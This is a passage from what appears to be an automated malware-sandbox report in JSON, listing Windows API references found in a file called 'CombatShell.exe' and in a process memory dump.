\"AdjustWindowRectEx\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ClientToScreen\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ClipCursor\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateIcon\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateIconFromResourceEx\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateWindowExW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"DefWindowProcW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"DestroyIcon\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"DestroyWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"DispatchMessageW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"EnableMenuItem\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetActiveWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetAsyncKeyState\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetClientRect\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetClipCursor\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetCursorPos\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetForegroundWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetKeyState\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetKeyboardState\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetMenu\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetRawInputData\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetSystemMenu\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetWindowPlacement\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetWindowRect\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetWindowTextLengthW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetWindowTextW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"IsIconic\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"KillTimer\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"LoadCursorW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"LoadImageW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"MessageBoxW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"PeekMessageW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"RedrawWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"RegisterRawInputDevices\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"RegisterWindowMessageA\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ReleaseCapture\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ScreenToClient\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SendInput\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetCapture\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetCursor\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetCursorPos\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetForegroundWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetMenuDefaultItem\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetTimer\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetWindowPlacement\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetWindowPos\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SetWindowTextW\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ShowCursor\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ShowWindow\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SystemParametersInfoA\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ToUnicodeEx\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"TrackPopupMenu\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"TranslateMessage\"; Source: \"00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found reference to API (Indicator: \"VirtualQuery\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeleteCriticalSection\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RaiseException\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"VirtualProtect\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LeaveCriticalSection\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"EnterCriticalSection\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"InitializeCriticalSection\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RevertToSelf\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ImpersonateAnonymousToken\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"BCryptGenRandom\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeleteObject\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetObjectW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetDIBits\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetDeviceCaps\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetProcAddress\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"InitOnceBeginInitialize\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ReadFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"HeapFree\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegisterWaitForSingleObject\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WriteConsoleW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetEnvironmentVariableW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CopyFileExW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GlobalFree\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetFileTime\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetFileCompletionNotificationModes\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"MapViewOfFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetTempPathW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GlobalLock\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateWaitableTimerExW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateDirectoryW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCurrentProcessId\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetModuleHandleW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetProcessHeap\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetOverlappedResult\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WaitForMultipleObjects\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"UnregisterWaitEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadLibraryExW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RemoveDirectoryW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetEnvironmentVariableW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"Sleep\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"InitOnceComplete\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileInformationByHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileAttributesW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SleepEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FlushFileBuffers\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetUnhandledExceptionFilter\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCurrentDirectoryW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FindClose\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CancelIo\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetFilePointerEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CloseHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FreeEnvironmentStringsW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"UnlockFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TlsAlloc\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DisconnectNamedPipe\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetExitCodeProcess\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetThreadStackGuarantee\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeviceIoControl\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetConsoleMode\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemTimePreciseAsFileTime\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFullPathNameW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FreeLibrary\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetFileInformationByHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TlsSetValue\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DuplicateHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ReadConsoleW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetModuleHandleExW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SwitchToThread\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateFileMappingA\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"HeapReAlloc\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetLastError\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemDirectoryW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCurrentThread\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetHandleInformation\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetConsoleScreenBufferInfo\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateThread\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"InitializeProcThreadAttributeList\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateToolhelp32Snapshot\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RtlVirtualUnwind\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetModuleHandleA\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetProcessId\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TlsFree\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileType\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetModuleFileNameW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadLibraryW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"QueryPerformanceFrequency\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"MoveFileExW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WideCharToMultiByte\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileInformationByHandleEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetConsoleMode\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateIoCompletionPort\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ReadFileEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetCurrentDirectoryW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"UpdateProcThreadAttribute\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"QueryPerformanceCounter\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateNamedPipeW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"PostQueuedCompletionStatus\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCurrentThreadId\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"UnmapViewOfFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetLastError\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateEventW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"HeapAlloc\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GlobalAlloc\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LockFileEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFinalPathNameByHandleW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"AddVectoredExceptionHandler\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetWaitableTimer\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetWindowsDirectoryW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetNamedPipeInfo\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetConsoleCtrlHandler\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetEnvironmentStringsW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WaitForSingleObject\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeleteFileW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"MultiByteToWideChar\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetConsoleTextAttribute\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetThreadErrorMode\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateSymbolicLinkW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetQueuedCompletionStatusEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CancelIoEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeleteProcThreadAttributeList\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateProcessW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreatePipe\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCurrentProcess\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetFileAttributesW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ExitProcess\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"Module32FirstW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadLibraryA\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FindFirstFileExW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GlobalUnlock\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FormatMessageW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WriteFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TerminateProcess\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"Module32NextW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FindNextFileW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetConsoleOutputCP\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetStdHandle\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ConnectNamedPipe\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RtlLookupFunctionEntry\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CompareStringOrdinal\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WriteFileEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TlsGetValue\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateFileW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemInfo\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GlobalSize\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCommandLineW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateHardLinkW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RtlCaptureContext\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"NtCreateFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"NtDeviceIoControlFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"NtOpenFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"NtWriteFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RtlNtStatusToDosError\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"NtReadFile\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CoInitializeEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"OleInitialize\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CoCreateGuid\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CoCreateInstance\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CoUninitialize\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetErrorInfo\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SysAllocStringLen\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SafeArrayPutElement\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SysFreeString\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SysStringLen\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"AssocQueryStringW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetWindowPlacement\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TrackPopupMenu\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCursorPos\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadCursorW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateWindowExW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetDC\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"OpenClipboard\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetWindowPlacement\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetRawInputData\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ReleaseDC\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CloseClipboard\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SendInput\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TranslateMessage\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ShowWindow\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetForegroundWindow\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetKeyboardState\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetKeyState\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ClipCursor\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetWindowRect\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemMetrics\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetAsyncKeyState\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DispatchMessageW\"; File: 